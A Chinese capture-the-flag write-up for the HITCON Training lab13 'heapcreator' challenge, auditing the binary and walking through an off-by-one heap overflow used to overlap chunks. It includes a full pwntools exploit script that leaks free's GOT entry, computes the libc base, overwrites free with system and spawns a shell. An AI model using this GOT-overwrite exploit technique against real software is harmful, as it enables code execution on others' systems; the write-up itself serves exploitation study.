HITCON Trainging lab13 - heapcreator WP

主要知识点:extend&overlapping off-by-one
环境:ubuntu-16.04 glibc2.23

分析

保护检查

按照惯例用checksec检查下保护
image.png
开启了金丝雀保护和堆栈可执行保护
再用IDA反汇编进行下代码审计

代码审计

  • main函数

image.png
前几行代码定义变量然后关闭缓存区,然后进入菜单,main函数没啥说法

  • menu函数

image.png
打印菜单

  • create_heap函数
unsigned __int64 create_heap()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )
    {
      *(&heaparray + i) = malloc(0x10uLL);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      v0 = (__int64)*(&heaparray + i);
      *(_QWORD *)(v0 + 8) = malloc(size);
      if ( !*((_QWORD *)*(&heaparray + i) + 1) )
      {
        puts("Allocate Error");
        exit(2);
      }
      *(_QWORD *)*(&heaparray + i) = size;
      printf("Content of heap:");
      read_input(*((_QWORD *)*(&heaparray + i) + 1), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

开始定义了几个变量,然后进入循环体
循环体主要内容就是:
先从索引0遍历heaparray,检查当前索引下是否有heap存在,没有就malloc一个0x10大小的堆
然后输入真正要创建的堆的size,然后把size存到heap array开始的0x8个字节中,然后把真正创建的堆的地址存到后0x8个字节中
接着通过read_input()输入堆的内容,大小为size

  • edit_heap函数

image.png
先输入索引,然后检查索引合法性,合法则可编辑内容
但是这里的**read_input()**多输入了一个字节,应该是size大小的,这里是size + 1,存在off_by_one漏洞

  • show_heap函数

image.png
输入索引,通过索引打印堆中内容

  • delete_heap函数

image.png
输入索引,根据索引free heaparray和heap content

思路分析

在分析之前,先看看创建的heap在内存中是什么样的
image.png
在create_heap时,会创建两个size为0x20的chunk
在存储heap array的数据的地方(0x859010)存放着两个heap content的size和地址
然后我们再来创建一个heap
image.png

tips:
prev_size用来存储物理地址相邻的上一个chunk的大小(如果上一个chunk为空闲的话)
在malloc()时,上一个chunk可以借用下一个chunk header中的prev_size(64位下占0x8)当作自己的空间,以达到空间复用的目的

所以说在这里我们可以把heap0的大小设置为0x18,这样在malloc时就会使用下一个chunk的prev_size的空间,
我们之前在对edit_heap进行代码审计时发现其可以让heap content溢出一个字节,所以可以把二者利用起来:创建0x18大小的heap,然后溢出1个字节,这样就可以达到控制下一个chunk size的目的
控制了size字段,我们就可以向后extend
image.png
然后create_heap时,会先申请0x20大小的chunk,自然就会存放在原来heap1的后面,即现在的0x18a5050,然后再创建0x40大小的chunk,自然就存放在0x18a5040处
这样一来一回,我们就成功将heap1控制了,然后可以通过edit_heapshow_heap任意读写地址

解题过程

思路:泄露free_got地址,然后将free_got中的真实free地址修改为system地址

获取libc基地址

free_got = 0x602018 #可以通过在IDA查找或者elf.got['free']获取
create(0x18,"mick")
create(0x10,"mick")

edit(0,'/bin/sh\x00' + 'a'*0x10+ '\x41') #8 + 0x10 + 1 = 0x19个字节

delete(1) #修改成功后释放

payload = p64(0) * 4 + p64(0x30) + p64(free_got) #把原来的heap content指针覆盖为free_got
create(0x30,payload)
show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success("free address = " + hex(free_addr))

修改地址

libc_base = free_addr - libc.sym['free']
sys_addr = libc_base + libc.sym['system']

edit(1,p64(sys_addr))

getshell

delete(0)

image.png
打通~~~

exp.py

from pwn import *
p = process('./heapcreator')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create(size,content):
	p.sendline("1")
	p.sendline(str(size))
	p.sendline(content)
def edit(index,content):
	p.sendline("2")
	p.sendline(str(index))
	p.sendline(content)
def show(index):
	p.sendline("3")
	p.sendline(str(index))
def delete(index):
	p.sendline("4")
	p.sendline(str(index))


free_got = 0x602018
create(0x18,"mick")
create(0x10,"mick")

edit(0,'/bin/sh\x00' + 'a'*0x10+ '\x41')

delete(1)

payload = p64(0) * 4 + p64(0x30) + p64(free_got)
create(0x30,payload)

show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success("free address = " + hex(free_addr))

libc_base = free_addr - libc.sym['free']
sys_addr = libc_base + libc.sym['system']

edit(1,p64(sys_addr))
delete(0)



p.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值